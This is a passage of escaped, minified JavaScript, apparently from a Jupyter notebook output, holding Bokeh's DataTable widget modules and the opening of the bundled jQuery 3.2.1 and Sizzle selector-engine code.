$&&null!=$.fn&&null!=$.fn.sortable||(this._warned_not_reorderable||(d.logger.warn(\\\"jquery-ui is required to enable DataTable.reorderable\\\"),this._warned_not_reorderable=!0),i=!1);var l={enableCellNavigation:!1!==this.model.selectable,enableColumnReorder:i,forceFitColumns:this.model.fit_columns,autoHeight:\\\"auto\\\"==this.model.height,multiColumnSort:this.model.sortable,editable:this.model.editable,autoEdit:!1};null!=this.model.width?this.el.style.width=this.model.width+\\\"px\\\":this.el.style.width=this.model.default_width+\\\"px\\\",null!=this.model.height&&\\\"auto\\\"!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),this.data=new h(this.model.source,this.model.view),this.grid=new s(this.el,this.data,o,l),this.grid.onSort.subscribe(function(e,t){o=t.sortCols,n.data.sort(o),n.grid.invalidate(),n.updateSelection(),n.grid.render(),n.model.header_row||n._hide_header()}),!1!==this.model.selectable&&(this.grid.setSelectionModel(new a({selectActiveRow:null==e})),null!=e&&this.grid.registerPlugin(e),this.grid.onSelectedRowsChanged.subscribe(function(e,t){n._in_selection_update||(n.model.source.selected.indices=t.rows.map(function(e){return n.data.index[e]}))}),this.updateSelection(),this.model.header_row||this._hide_header())},e.prototype._hide_header=function(){for(var e=0,t=Array.from(this.el.querySelectorAll(\\\".slick-header-columns\\\"));e<t.length;e++){var n=t[e];n.style.height=\\\"0px\\\"}this.grid.resizeCanvas()},e}(f.WidgetView);i.DataTableView=g;var m=function(n){function e(e){var t=n.call(this,e)||this;return t.default_width=600,t}return o.__extends(e,n),e.initClass=function(){this.prototype.type=\\\"DataTable\\\",this.prototype.default_view=g,this.define({columns:[r.Array,[]],fit_columns:[r.Bool,!0],sortable:[r.Bool,!0],reorderable:[r.Bool,!0],editable:[r.Bool,!1],selectable:[r.Any,!0],index_position:[r.Int,0],index_header:[r.String,\\\"#\\\"],index_width:[r.Int,40],scroll_to_selection:[r.Bool,!0],header_row:[r.Bool,!0]}),this.override({height:400})},e.prototype.get_scroll_index=function(t,e){return this.scroll_to_selection&&0!=e.length?l.any(e,function(e){return t.top<=e&&e<=t.bottom})?null:Math.max(0,Math.min.apply(Math,e)-1):null},e}(p.TableWidget);(i.DataTable=m).initClass()},436:function(e,t,n){var o=e(391);o.__exportStar(e(433),n),o.__exportStar(e(434),n);var r=e(435);n.DataTable=r.DataTable;var i=e(438);n.TableColumn=i.TableColumn;var l=e(439);n.TableWidget=l.TableWidget},437:function(e,t,n){var o=e(436);n.Tables=o;var r=e(0);r.register_models(o)},438:function(e,t,n){var o=e(391),r=e(434),i=e(433),l=e(15),s=e(38),a=e(59),c=function(t){function e(e){return t.call(this,e)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"TableColumn\\\",this.define({field:[l.String],title:[l.String],width:[l.Number,300],formatter:[l.Instance,function(){return new r.StringFormatter}],editor:[l.Instance,function(){return new i.StringEditor}],sortable:[l.Bool,!0],default_sort:[l.String,\\\"ascending\\\"]})},e.prototype.toColumn=function(){return{id:s.uniqueId(),field:this.field,name:this.title,width:this.width,formatter:null!=this.formatter?this.formatter.doFormat.bind(this.formatter):void 0,model:this.editor,editor:this.editor.default_view,sortable:this.sortable,defaultSortAsc:\\\"ascending\\\"==this.default_sort}},e}(a.Model);(n.TableColumn=c).initClass()},439:function(e,t,n){var o=e(391),r=e(440),i=e(199),l=e(15),s=function(t){function e(e){return t.call(this,e)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"TableWidget\\\",this.define({source:[l.Instance],view:[l.Instance,function(){return new i.CDSView}]})},e.prototype.initialize=function(){t.prototype.initialize.call(this),null==this.view.source&&(this.view.source=this.source,this.view.compute_indices())},e}(r.Widget);(n.TableWidget=s).initClass()},440:function(e,t,n){var o=e(391),r=e(157),i=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return o.__extends(t,e),t.prototype.css_classes=function(){return e.prototype.css_classes.call(this).concat(\\\"bk-widget\\\")},t.prototype.render=function(){this._render_classes(),null!=this.model.height&&(this.el.style.height=this.model.height+\\\"px\\\"),null!=this.model.width&&(this.el.style.width=this.model.width+\\\"px\\\")},t.prototype.get_width=function(){throw new Error(\\\"unused\\\")},t.prototype.get_height=function(){throw new Error(\\\"unused\\\")},t}(r.LayoutDOMView);n.WidgetView=i;var l=function(t){function e(e){return t.call(this,e)||this}return o.__extends(e,t),e.initClass=function(){this.prototype.type=\\\"Widget\\\"},e}(r.LayoutDOM);(n.Widget=l).initClass()},441:function(e,n,t){\\n\",\n       \"      /*!\\n\",\n       \"           * jQuery JavaScript Library v3.2.1\\n\",\n       \"           * https://jquery.com/\\n\",\n       \"           *\\n\",\n       \"           * Includes Sizzle.js\\n\",\n       \"           * https://sizzlejs.com/\\n\",\n       \"           *\\n\",\n       \"           * Copyright JS Foundation and other contributors\\n\",\n       \"           * Released under the MIT license\\n\",\n       \"           * https://jquery.org/license\\n\",\n       \"           *\\n\",\n       \"           * Date: 2017-03-20T18:59Z\\n\",\n       \"           */\\n\",\n       \"      !function(e,t){\\\"use strict\\\";\\\"object\\\"==typeof n&&\\\"object\\\"==typeof n.exports?n.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\\\"jQuery requires a window with a document\\\");return t(e)}:t(e)}(\\\"undefined\\\"!=typeof window?window:this,function(R,e){\\\"use strict\\\";var t=[],S=R.document,o=Object.getPrototypeOf,s=t.slice,g=t.concat,a=t.push,r=t.indexOf,n={},i=n.toString,h=n.hasOwnProperty,l=h.toString,c=l.call(Object),m={};function v(e,t){var n=(t=t||S).createElement(\\\"script\\\");n.text=e,t.head.appendChild(n).parentNode.removeChild(n)}var E=function(e,t){return new E.fn.init(e,t)},u=/^[\\\\s\\\\uFEFF\\\\xA0]+|[\\\\s\\\\uFEFF\\\\xA0]+$/g,d=/^-ms-/,p=/-([a-z])/g,f=function(e,t){return t.toUpperCase()};function w(e){var t=!!e&&\\\"length\\\"in e&&e.length,n=E.type(e);return\\\"function\\\"!==n&&!E.isWindow(e)&&(\\\"array\\\"===n||0===t||\\\"number\\\"==typeof t&&0<t&&t-1 in e)}E.fn=E.prototype={jquery:\\\"3.2.1\\\",constructor:E,length:0,toArray:function(){return s.call(this)},get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=E.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return E.each(this,e)},map:function(n){return this.pushStack(E.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(s.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:a,sort:t.sort,splice:t.splice},E.extend=E.fn.extend=function(){var e,t,n,o,r,i,l=arguments[0]||{},s=1,a=arguments.length,c=!1;for(\\\"boolean\\\"==typeof l&&(c=l,l=arguments[s]||{},s++),\\\"object\\\"==typeof l||E.isFunction(l)||(l={}),s===a&&(l=this,s--);s<a;s++)if(null!=(e=arguments[s]))for(t in e)n=l[t],o=e[t],l!==o&&(c&&o&&(E.isPlainObject(o)||(r=Array.isArray(o)))?(r?(r=!1,i=n&&Array.isArray(n)?n:[]):i=n&&E.isPlainObject(n)?n:{},l[t]=E.extend(c,i,o)):void 0!==o&&(l[t]=o));return l},E.extend({expando:\\\"jQuery\\\"+(\\\"3.2.1\\\"+Math.random()).replace(/\\\\D/g,\\\"\\\"),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isFunction:function(e){return\\\"function\\\"===E.type(e)},isWindow:function(e){return null!=e&&e===e.window},isNumeric:function(e){var t=E.type(e);return(\\\"number\\\"===t||\\\"string\\\"===t)&&!isNaN(e-parseFloat(e))},isPlainObject:function(e){var t,n;return!(!e||\\\"[object Object]\\\"!==i.call(e))&&(!(t=o(e))||\\\"function\\\"==typeof(n=h.call(t,\\\"constructor\\\")&&t.constructor)&&l.call(n)===c)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},type:function(e){return null==e?e+\\\"\\\":\\\"object\\\"==typeof e||\\\"function\\\"==typeof e?n[i.call(e)]||\\\"object\\\":typeof e},globalEval:function(e){v(e)},camelCase:function(e){return e.replace(d,\\\"ms-\\\").replace(p,f)},each:function(e,t){var n,o=0;if(w(e))for(n=e.length;o<n&&!1!==t.call(e[o],o,e[o]);o++);else for(o in e)if(!1===t.call(e[o],o,e[o]))break;return e},trim:function(e){return null==e?\\\"\\\":(e+\\\"\\\").replace(u,\\\"\\\")},makeArray:function(e,t){var n=t||[];return null!=e&&(w(Object(e))?E.merge(n,\\\"string\\\"==typeof e?[e]:e):a.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:r.call(t,e,n)},merge:function(e,t){for(var n=+t.length,o=0,r=e.length;o<n;o++)e[r++]=t[o];return e.length=r,e},grep:function(e,t,n){for(var o=[],r=0,i=e.length,l=!n;r<i;r++)!t(e[r],r)!==l&&o.push(e[r]);return o},map:function(e,t,n){var o,r,i=0,l=[];if(w(e))for(o=e.length;i<o;i++)null!=(r=t(e[i],i,n))&&l.push(r);else for(i in e)null!=(r=t(e[i],i,n))&&l.push(r);return g.apply([],l)},guid:1,proxy:function(e,t){var n,o,r;if(\\\"string\\\"==typeof t&&(n=e[t],t=e,e=n),E.isFunction(e))return o=s.call(arguments,2),(r=function(){return e.apply(t||this,o.concat(s.call(arguments)))}).guid=e.guid=e.guid||E.guid++,r},now:Date.now,support:m}),\\\"function\\\"==typeof Symbol&&(E.fn[Symbol.iterator]=t[Symbol.iterator]),E.each(\\\"Boolean Number String Function Array Date RegExp Object Error Symbol\\\".split(\\\" \\\"),function(e,t){n[\\\"[object \\\"+t+\\\"]\\\"]=t.toLowerCase()});var y=\\n\",\n       \"      /*!\\n\",\n       \"               * Sizzle CSS Selector Engine v2.3.3\\n\",\n       \"               * https://sizzlejs.com/\\n\",\n       \"               *\\n\",\n       \"               * Copyright jQuery Foundation and other contributors\\n\",\n       \"               * Released under the MIT license\\n\",\n       \"               * http://jquery.org/license\\n\",\n       \"               *\\n\",\n       \"               * Date: 2016-08-08\\n\",\n       \"               */\\n\",\n       \"      function(n){var e,f,C,i,r,h,d,g,b,a,c,x,R,l,S,m,s,u,v,E=\\\"sizzle\\\"+1*new Date,w=n.document,k=0,o=0,p=le(),y=le(),T=le(),P=function(e,t){return e===t&&(c=!0),0},D={}.hasOwnProperty,t=[],A=t.pop,N=t.push,$=t.push,H=t.slice,L=function(e,t){for(var n=0,o=e.length;n<o;n++)if(e[n]===t)return n;return-1},F=\\\"checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped\\\",_=\\\"[\\\\\\\\x20\\\\\\\\t\\\\\\\\r\\\\\\\\n\\\\\\\\f]\\\",I=\\\"(?:\\\\\\\\\\\\\\\\.|[\\\\\\\\w-]|[^\\\\0-\\\\\\\\xa0])+\\\",M=\\\"\\\\\\\\[\\\"+_+\\\"*(\\\"+I+\\\")(?:\\\"+_+\\\"*([*^$|!~]?=)\\\"+_+\\\"*(?:'((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\'])*)'|\\\\\\\"((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\\\\\\\\"])*)\\\\\\\"|(\\\"+I+\\\"))|)\\\"+_+\\\"*\\\\\\\\]\\\",W=\\\":(\\\"+I+\\\")(?:\\\\\\\\((('((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\'])*)'|\\\\\\\"((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\\\\\\\\"])*)\\\\\\\")|((?:\\\\\\\\\\\\\\\\.|[^\\\\\\\\\\\\\\\\()[\\\\\\\\]]|\\\"+M+\\\")*)|.*)\\\\\\\\)|)\\\",j=new RegExp(_+\\\"+\\\",\\\"g\\\"),V=new RegExp(\\\"^\\\"+_+\\\"+|((?:^|[^\\\\\\\\\\\\\\\\])(?:\\\\\\\\\\\\\\\\.)*)\\\"+_+\\\"+$\\\",\\\"g\\\"),B=new RegExp(\\\"^\\\"+_+\\\"*,\\\"+_+\\\"*\\\"),q=new RegExp(\\\"^\\\"+_+\\\"*([>+~]|\\\"+_+\\\")\\\"+_+\\\"*\\\"),O=new RegExp(\\\"=\\\"+_+\\\"*([^\\\\\\\\]'\\\\\\\"]*?)\\\"+_+\\\"*\\\\\\\\]\\\",\\\"g\\\"),z=new RegExp(W),X=new RegExp(\\\"^\\\"+I+\\\"$\\\"),U={ID:new RegExp(\\\"^#(\\\"+I+\\\")\\\"),CLASS:new RegExp(\\\"^\\\\\\\\.(\\\"+I+\\\")\\\"),TAG:new RegExp(\\\"^(\\\"+I+\\\"|[*])\\\"),ATTR:new RegExp(\\\"^\\\"+M),PSEUDO:new RegExp(\\\"^\\\"+W),CHILD:new RegExp(\\\"^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\\\\\\\(\\\"+_+\\\"*(even|odd|(([+-]|)(\\\\\\\\d*)n|)\\\"+_+\\\"*(?:([+-]|)\\\"+_+\\\"*(\\\\\\\\d+)|))\\\"+_+\\\"*\\\\\\\\)|)\\\",\\\"i\\\"),bool:new RegExp(\\\"^(?:\\\"+F+\\\")$\\\",\\\"i\\\"),needsContext:new RegExp(\\\"^\\\"+_+\\\"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\\\\\\\(\\\"+_+\\\"*((?:-\\\\\\\\d)?\\\\\\\\d*)\\\"+_+\\\"*\\\\\\\\)|)(?=[^-]|$)\\\",\\\"i\\\")},K=/^(?:input|select|textarea|button)$/i,G=/^h\\\\d$/i,Y=/^[^{]+\\\\{\\\\s*\\\\[native \\\\w/,Q=/^(?:#([\\\\w-]+)|(\\\\w+)|\\\\.([\\\\w-]+))$/,J=/[+~]/,Z=new RegExp(\\\"\\\\\\\\\\\\\\\\([\\\\\\\\da-f]{1,6}\\\"+_+\\\"?|(\\\"+_+\\\")|.)\\\",\\\"ig\\\"),ee=function(e,t,n){var o=\\\"0x\\\"+t-65536;return o!=o||n?t:o<0?String.fromCharCode(o+65536):String.fromCharCode(o>>10|55296,1023&o|56320)},te=/([\\\\0-\\\\x1f\\\\x7f]|^-?\\\\d)|^-$|[^\\\\0-\\\\x1f\\\\x7f-\\\\uFFFF\\\\w-]/g,ne=function(e,t){return t?\\\"\\\\0\\\"===e?\\\"ï¿½\\\":e.slice(0,-1)+\\\"\\\\\\\\\\\"+e.charCodeAt(e.length-1).toString(16)+\\\" \\\":\\\"\\\\\\\\\\\"+e},oe=function(){x()},re=we(function(e){return!0===e.disabled&&(\\\"form\\\"in e||\\\"label\\\"in e)},{dir:\\\"parentNode\\\",next:\\\"legend\\\"});try{$.apply(t=H.call(w.childNodes),w.childNodes),t[w.childNodes.length].nodeType}catch(e){$={apply:t.length?function(e,t){N.apply(e,H.call(t))}:function(e,t){for(var n=e.length,o=0;e[n++]=t[o++];);e.length=n-1}}}function ie(e,t,n,o){var r,i,l,s,a,c,u,d=t&&t.ownerDocument,p=t?t.nodeType:9;if(n=n||[],\\\"string\\\"!=typeof e||!e||1!==p&&9!==p&&11!==p)return n;if(!o&&((t?t.ownerDocument||t:w)!==R&&x(t),t=t||R,S)){if(11!==p&&(a=Q.exec(e)))if(r=a[1]){if(9===p){if(!(l=t.getElementById(r)))return n;if(l.id===r)return n.push(l),n}else if(d&&(l=d.getElementById(r))&&v(t,l)&&l.id===r)return n.push(l),n}else{if(a[2])return $.apply(n,t.getElementsByTagName(e)),n;if((r=a[3])&&f.getElementsByClassName&&t.getElementsByClassName)return $.apply(n,t.getElementsByClassName(r)),n}if(f.qsa&&!T[e+\\\" \\\"]&&(!m||!m.test(e))){if(1!==p)d=t,u=e;else if(\\\"object\\\"!==t.nodeName.toLowerCase()){for((s=t.getAttribute(\\\"id\\\"))?s=s.replace(te,ne):t.setAttribute(\\\"id\\\",s=E),c=h(e),i=c.length;i--;)c[i]=\\\"#\\\"+s+\\\" \\\"+ve(c[i]);u=c.join(\\\",\\\"),d=J.test(e)&&ge(t.parentNode)||t}if(u)try{return $.apply(n,d.querySelectorAll(u)),n}catch(e){}finally{s===E&&t.removeAttribute(\\\"id\\\")}}}return g(e.replace(V,\\\"$1\\\"),t,n,o)}function le(){var o=[];return function e(t,n){o.push(t+\\\" \\\")>C.cacheLength&&delete e[o.shift()];return e[t+\\\" \\\"]=n}}function se(e){return e[E]=!0,e}function ae(e){var t=R.createElement(\\\"fieldset\\\");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function ce(e,t){for(var n=e.split(\\\"|\\\"),o=n.length;o--;)C.attrHandle[n[o]]=t}function ue(e,t){var n=t&&e,o=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(o)return o;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function de(n){return function(e){var t=e.nodeName.toLowerCase();return\\\"input\\\"===t&&e.type===n}}function pe(n){return function(e){var t=e.nodeName.toLowerCase();return(\\\"input\\\"===t||\\\"button\\\"===t)&&e.type===n}}function fe(t){return function(e){return\\\"form\\\"in e?e.parentNode&&!1===e.disabled?\\\"label\\\"in e?\\\"label\\\"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&re(e)===t:e.disabled===t:\\\"label\\\"in e&&e.disabled===t}}function he(l){return se(function(i){return i=+i,se(function(e,t){for(var n,o=l([],e.length,i),r=o.length;r--;)e[n=o[r]]&&(e[n]=!(t[n]=e[n]))})})}function ge(e){return e&&void 0!==e.getElementsByTagName&&e}for(e in f=ie.support={},r=ie.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&\\\"HTML\\\"!==t.nodeName},x=ie.setDocument=function(e){var t,n,o=e?e.ownerDocument||e:w;return o!==R&&9===o.nodeType&&o.documentElement&&(l=(R=o).documentElement,S=!r(R),w!==R&&(n=R.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener(\\\"unload\\\",oe,!1):n.attachEvent&&n.attachEvent(\\\"onunload\\\",oe)),f.attributes=ae(function(e){return e.className=\\\"i\\\",!e.getAttribute(\\\"className\\\")}),f.getElementsByTagName=ae(function(e){return e.appendChild(R.createComment(\\\"\\\")),!e.getElementsByTagName(\\\"*\\\").length}),f.getElementsByClassName=Y.test(R.getElementsByClassName),f.getById=ae(function(e){return l.appendChild(e).id=E,!R.getElementsByName||!R.getElementsByName(E).length}),f.getById?(C.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute(\\\"id\\\")===t}},C.find.ID=function(e,t){if(void 0!==t.getElementById&&S){var n=t.getElementById(e);return n?[n]:[]}}):(C.filter.ID=function(e){var n=e.replace(Z,ee);return function(e){var t=void 0!==e.getAttributeNode&&e.getAttributeNode(\\\"id\\\");return t&&t.value===n}},C.find.ID=function(e,t){if(void 0!==t.getElementById&&S){var n,o,r,i=t.getElementById(e);if(i){if((n=i.getAttributeNode(\\\"id\\\"))&&n.value===e)return[i];for(r=t.getElementsByName(e),o=0;i=r[o++];)if((n=i.getAttributeNode(\\\"id\\\"))&&n.value===e)return[i]}return[]}}),C.find.TAG=f.getElementsByTagName?function(e,t){return void 0!==t.getElementsByTagName?t.getElementsByTagName(e):f.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,o=[],r=0,i=t.getElementsByTagName(e);if(\\\"*\\\"===e){for(;n=i[r++];)1===n.nodeType&&o.push(n);return o}return i},C.find.CLASS=f.getElementsByClassName&&function(e,t){if(void 0!==t.getElementsByClassName&&S)return t.getElementsByClassName(e)},s=[],m=[],(f.qsa=Y.test(R.querySelectorAll))&&(ae(function(e){l.appendChild(e).innerHTML=\\\"<a id='\\\"+E+\\\"'></a><select id='\\\"+E+\\\"-\\\\r\\\\\\\\' msallowcapture=''><option selected=''></option></select>\\\",e.querySelectorAll(\\\"[msallowcapture^='']\\\").length&&m.push(\\\"[*^$]=\\\"+_+\\\"*(?:''|\\\\\\\"\\\\\\\")\\\"),e.querySelectorAll(\\\"[selected]\\\").length||m.push(\\\"\\\\\\\\[\\\"+_+\\\"*(?:value|\\\"+F+\\\")\\\"),e.querySelectorAll(\\\"[id~=\\\"+E+\\\"-]\\\").length||m.push(\\\"~=\\\"),e.querySelectorAll(\\\":checked\\\").length||m.push(\\\":checked\\\"),e.querySelectorAll(\\\"a#\\\"+E+\\\"+*\\\").length||m.push(\\\".#.+[+~]\\\")}),ae(function(e){e.innerHTML=\\\"<a href='' disabled='disabled'></a><select disabled='disabled'><option/></select>\\\";var t=R.createElement(\\\"input\\\");t.setAttribute(\\\"type\\\",\\\"hidden\\\"),e.appendChild(t).setAttribute(\\\"name\\\",\\\"D\\\"),e.querySelectorAll(\\\"[name=d]\\\").length&&m.push(\\\"name\\\"+_+\\\"*[*^$|!~]?=\\\"),2!==e.querySelectorAll(\\\":enabled\\\").length&&m.push(\\\":enabled\\\",\\\":disabled\\\"),l.appendChild(e).disabled=!0,2!==e.querySelectorAll(\\\":disabled\\\").length&&m.push(\\\":enabled\\\",\\\":disabled\\\"),e.querySelectorAll(\\\"*,:x\\\"),m.push(\\\",.*:\\\")})),(f.matchesSelector=Y.test(u=l.matches||l.webkitMatchesSelector||l.mozMatchesSelector||l.oMatchesSelector||l.msMatchesSelector))&&ae(function(e){f.disconnectedMatch=u.call(e,\\\"*\\\"),u.call(e,\\\"[s!='']:x\\\"),s.push(\\\"!=\\\",W)}),m=m.length&&new RegExp(m.join(\\\"|\\\")),s=s.length&&new RegExp(s.join(\\\"|\\\")),t=Y.test(l.compareDocumentPosition),v=t||Y.test(l.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,o=t&&t.parentNode;return e===o||!(!o||1!==o.nodeType||!(n.contains?n.contains(o):e.compareDocumentPosition&&16&e.compareDocumentPosition(o)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},P=t?function(e,t){if(e===t)return c=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!f.sortDetached&&t.compareDocumentPosition(e)===n?e===R||e.ownerDocument===w&&v(w,e)?-1:t===R||t.ownerDocument===w&&v(w,t)?1:a?L(a,e)-L(a,t):0:4&n?-1:1)}:function(e,t){if(e===t)return c=!0,0;var n,o=0,r=e.parentNode,i=t.parentNode,l=[e],s=[t];if(!r||!i)return e===R?-1:t===R?1:r?-1:i?1:a?L(a,e)-L(a,t):0;if(r===i)return ue(e,t);for(n=e;n=n.parentNode;)l.unshift(n);for(n=t;n=n.parentNode;)s.unshift(n);for(;l[o]===s[o];)o++;return o?ue(l[o],s[o]):l[o]===w?-1:s[o]===w?1:0}),R},ie.matches=function(e,t){return ie(e,null,null,t)},ie.matchesSelector=function(e,t){if((e.ownerDocument||e)!==R&&x(e),t=t.replace(O,\\\"='$1']\\\"),f.matchesSelector&&S&&!T[t+\\\" \\\"]&&(!s||!s.test(t))&&(!m||!m.test(t)))try{var n=u.call(e,t);if(n||f.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){}return 0<ie(t,R,null,[e]).length},ie.contains=function(e,t){return(e.ownerDocument||e)!==R&&x(e),v(e,t)},ie.attr=function(e,t){(e.ownerDocument||e)!==R&&x(e);var n=C.attrHandle[t.toLowerCase()],o=n&&D.call(C.attrHandle,t.toLowerCase())?n(e,t,!S):void 0;return void 0!==o?o:f.attributes||!S?e.getAttribute(t):(o=e.getAttributeNode(t))&&o.specified?o.value:null},ie.escape=function(e){return(e+\\\"\\\").replace(te,ne)},ie.error=function(e){throw new Error(\\\"Syntax error, unrecognized expression: \\\"+e)},ie.uniqueSort=function(e){var t,n=[],o=0,r=0;if(c=!f.detectDuplicates,a=!f.sortStable&&e.slice(0),e.sort(P),c){for(;t=e[r++];)t===e[r]&&(o=n.push(r));for(;o--;)e.splice(n[o],1)}return a=null,e},i=ie.getText=function(e){var t,n=\\\"\\\",o=0,r=e.nodeType;if(r){if(1===r||9===r||11===r){if(\\\"string\\\"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=i(e)}else if(3===r||4===r)return e.nodeValue}else for(;t=e[o++];)n+=i(t);return n},(C=ie.selectors={cacheLength:50,createPseudo:se,match:U,attrHandle:{},find:{},relative:{\\\">\\\":{dir:\\\"parentNode\\\",first:!0},\\\" \\\":{dir:\\\"parentNode\\\"},\\\"+\\\":{dir:\\\"previousSibling\\\",first:!0},\\\"~\\\":{dir:\\\"previousSibling\\\"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(Z,ee),e[3]=(e[3]||e[4]||e[5]||\\\"\\\").replace(Z,ee),\\\"~=\\\"===e[2]&&(e[3]=\\\" \\\"+e[3]+\\\" \\\"),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),\\\"nth\\\"===e[1].slice(0,3)?(e[3]||ie.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*(\\\"even\\\"===e[3]||\\\"odd\\\"===e[3])),e[5]=+(e[7]+e[8]||\\\"odd\\\"===e[3])):e[3]&&ie.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return U.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||\\\"\\\":n&&z.test(n)&&(t=h(n,!0))&&(t=n.indexOf(\\\")\\\",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(Z,ee).toLowerCase();return\\\"*\\\"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=p[e+\\\" \\\"];return t||(t=new RegExp(\\\"(^|\\\"+_+\\\")\\\"+e+\\\"(\\\"+_+\\\"|$)\\\"))&&p(e,function(e){return t.test(\\\"string\\\"==typeof e.className&&e.className||void 0!==e.getAttribute&&e.getAttribute(\\\"class\\\")||\\\"\\\")})},ATTR:function(n,o,r){return function(e){var t=ie.attr(e,n);return null==t?\\\"!=\\\"===o:!o||(t+=\\\"\\\",\\\"=\\\"===o?t===r:\\\"!=\\\"===o?t!==r:\\\"^=\\\"===o?r&&0===t.indexOf(r):\\\"*=\\\"===o?r&&-1<t.indexOf(r):\\\"$=\\\"===o?r&&t.slice(-r.length)===r:\\\"~=\\\"===o?-1<(\\\" \\\"+t.replace(j,\\\" \\\")+\\\" \\\").indexOf(r):\\\"|=\\\"===o&&(t===r||t.slice(0,r.length+1)===r+\\\"-\\\"))}},CHILD:function(h,e,t,g,m){var v=\\\"nth\\\"!==h.slice(0,3),w=\\\"last\\\"!==h.slice(-4),y=\\\"of-type\\\"===e;return 1===g&&0===m?function(e){return!!e.parentNode}:function(e,t,n){var o,r,i,l,s,a,c=v!==w?\\\"nextSibling\\\":\\\"previousSibling\\\",u=e.parentNode,d=y&&e.nodeName.toLowerCase(),p=!n&&!y,f=!1;if(u){if(v){for(;c;){for(l=e;l=l[c];)if(y?l.nodeName.toLowerCase()===d:1===l.nodeType)return!1;a=c=\\\"only\\\"===h&&!a&&\\\"nextSibling\\\"}return!0}if(a=[w?u.firstChild:u.lastChild],w&&p){for(i=(l=u)[E]||(l[E]={}),r=i[l.uniqueID]||(i[l.uniqueID]={}),o=r[h]||[],s=o[0]===k&&o[1],f=s&&o[2],l=s&&u.childNodes[s];l=++s&&l&&l[c]||(f=s=0)||a.pop();)if(1===l.nodeType&&++f&&l===e){r[h]=[k,s,f];break}}else if(p&&(i=(l=e)[E]||(l[E]={}),r=i[l.uniqueID]||(i[l.uniqueID]={}),o=r[h]||[],s=o[0]===k&&o[1],f=s),!1===f)for(;(l=++s&&l&&l[c]||(f=s=0)||a.pop())&&((y?l.nodeName.toLowerCase()!==d:1!==l.nodeType)||!++f||(p&&(i=l[E]||(l[E]={}),(r=i[l.uniqueID]||(i[l.uniqueID]={}))[h]=[k,f]),l!==e)););return(f-=m)===g||f%g==0&&0<=f/g}}},PSEUDO:function(e,i){var t,l=C.pseudos[e]||C.setFilters[e.toLowerCase()]||ie.error(\\\"unsupported pseudo: \\\"+e);return l[E]?l(i):1<l.length?(t=[e,e,\\\"\\\",i],C.setFilters.hasOwnProperty(e.toLowerCase())?se(function(e,t){for(var n,o=l(e,i),r=o.length;r--;)n=L(e,o[r]),e[n]=!(t[n]=o[r])}):function(e){return l(e,0,t)}):l}},pseudos:{not:se(function(e){var o=[],r=[],s=d(e.replace(V,\\\"$1\\\"));return s[E]?se(function(e,t,n,o){for(var r,i=s(e,null,o,[]),l=e.length;l--;)(r=i[l])&&(e[l]=!(t[l]=r))}):function(e,t,n){return o[0]=e,s(o,null,n,r),o[0]=null,!r.pop()}}),has:se(function(t){return function(e){return 0<ie(t,e).length}}),contains:se(function(t){return t=t.replace(Z,ee),function(e){return-1<(e.textContent||e.innerText||i(e)).indexOf(t)}}),lang:se(function(n){return X.test(n||\\\"\\\")||ie.error(\\\"unsupported lang: \\\"+n),n=n.replace(Z,ee).toLowerCase(),function(e){var t;do{if(t=S?e.lang:e.getAttribute(\\\"xml:lang\\\")||e.getAttribute(\\\"lang\\\"))return(t=t.toLowerCase())===n||0===t.indexOf(n+\\\"-\\\")}while((e=e.parentNode)&&1===e.nodeType);return!1}}),target:function(e){var t=n.location&&n.location.hash;return t&&t.slice(1)===e.id},root:function(e){return e===l},focus:function(e){return e===R.activeElement&&(!R.hasFocus||R.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:fe(!1),disabled:fe(!0),checked:function(e){var 